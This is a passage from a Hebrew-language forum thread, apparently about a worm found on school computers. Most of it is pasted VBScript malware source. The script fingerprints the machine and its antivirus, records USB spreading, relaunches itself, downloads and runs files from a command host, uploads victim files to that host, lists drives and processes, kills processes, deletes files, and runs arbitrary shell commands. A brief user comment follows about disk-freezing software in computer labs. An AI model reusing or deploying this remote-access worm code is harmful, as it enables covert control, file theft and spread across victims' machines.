              set disks = root.execquery ("select * from win32_logicaldisk")
              for each disk in disks
                  if  disk.volumeserialnumber <> "" then
                      hwid = disk.volumeserialnumber
                      exit for
                  end if
              next
              end function
              
              function security 
              on error resume next
              
              security = ""
              
              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
              for each objitem in colitems
                  versionstr = split (objitem.version,".")
              next
              versionstr = split (colitems.version,".")
              osversion = versionstr (0) & "."
              for  x = 1 to ubound (versionstr)
                   osversion = osversion &  versionstr (i)
              next
              osversion = eval (osversion)
              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
              
              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
              
              for each objantivirus in colantivirus
                  security  = security  & objantivirus.displayname & " ."
              next
              if security  = "" then security  = "nan-av"
              end function
              
              function instance
              on error resume next
              
              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
              if usbspreading = "" then
                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                    usbspreading = "true - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                 else
                    usbspreading = "false - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
              
                 end if
              end If
              
              
              upstart
              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                  wscript.quit 
              end If
              err.clear
              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
              if  err.number > 0 then wscript.quit
              end function
              
              sub sitedownloader (fileurl,filename)
              
              strlink = fileurl
              strsaveto = installdir & filename
              set objhttpdownload = createobject("msxml2.xmlhttp" )
              objhttpdownload.open "get", strlink, false
              objhttpdownload.send
              
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
               
              if objhttpdownload.status = 200 then
                 dim  objstreamdownload
                 set  objstreamdownload = createobject("adodb.stream")
                 with objstreamdownload
                      .type = 1 
                      .open
                      .write objhttpdownload.responsebody
                      .savetofile strsaveto
                      .close
                 end with
                 set objstreamdownload = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              sub download (fileurl,filedir)
              
              if filedir = "" then 
                 filedir = installdir
              end if
              
              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
              set objhttpdownload = createobject("msxml2.xmlhttp")
              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
              objhttpdownload.send ""
                   
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
              if  objhttpdownload.status = 200 then
                  dim  objstreamdownload
                  set  objstreamdownload = createobject("adodb.stream")
                  with objstreamdownload 
                       .type = 1 
                       .open
                       .write objhttpdownload.responsebody
                       .savetofile strsaveto
                       .close
                  end with
                  set objstreamdownload  = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              function upload (fileurl)
              
              dim  httpobj,objstreamuploade,buffer
              set  objstreamuploade = createobject("adodb.stream")
              with objstreamuploade 
                   .type = 1 
                   .open
                   .loadfromfile fileurl
                   buffer = .read
                   .close
              end with
              set objstreamdownload = nothing
              set httpobj = createobject("msxml2.xmlhttp")
              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
              httpobj.send buffer
              end function
              
              function enumdriver ()
              
              for  each drive in filesystemobj.drives
              if   drive.isready = true then
                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
              end if
              next
              end Function
              
              function enumfaf (enumdir)
              
              enumfaf = enumdir & spliter
              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
              next
              
              for  each file in filesystemobj.getfolder (enumdir).files
                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
              
              next
              end function
              
              function enumprocess ()
              
              on error resume next
              
              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_process",,48)
              
              dim objitem
              for each objitem in colitems
                  enumprocess = enumprocess & objitem.name & "|"
                  enumprocess = enumprocess & objitem.processid & "|"
                  enumprocess = enumprocess & objitem.executablepath & spliter
              next
              end function
              
              sub exitprocess (pid)
              on error resume next
              
              shellobj.run "taskkill /F /T /PID " & pid,7,true
              end sub
              
              sub deletefaf (url)
              on error resume next
              
              filesystemobj.deletefile url
              filesystemobj.deletefolder url
              
              end sub
              
              function cmdshell (cmd)
              
              dim httpobj,oexec,readallfromany
              
              set oexec = shellobj.exec ("%comspec% /c " & cmd)
              if not oexec.stdout.atendofstream then
                 readallfromany = oexec.stdout.readall
              elseif not oexec.stderr.atendofstream then
                 readallfromany = oexec.stderr.readall
              else 
                 readallfromany = ""
              end if
              
              cmdshell = readallfromany
              end function
              
              DANI123D מנותק
              DANI123D מנותק
              DANI123
              כתב נערך לאחרונה על ידי
              #46

              @רנדומלי בדרך כלל בחדרי מחשבים (אם לא בכולם)
              יש תוכנות שמקפיאות את הדיסק קשיח ככה שבהפעלה מחדש הכל מתאפס
              אז מעניין איך הוא חדר..

              תגובה 1 תגובה אחרונה
              0

              • התחברות

              • אין לך חשבון עדיין? הרשמה

              • התחברו או הירשמו כדי לחפש.
              • פוסט ראשון
                פוסט אחרון
              0
              • חוקי הפורום
              • פופולרי
              • לא נפתר
              • משתמשים
              • חיפוש גוגל בפורום
              • צור קשר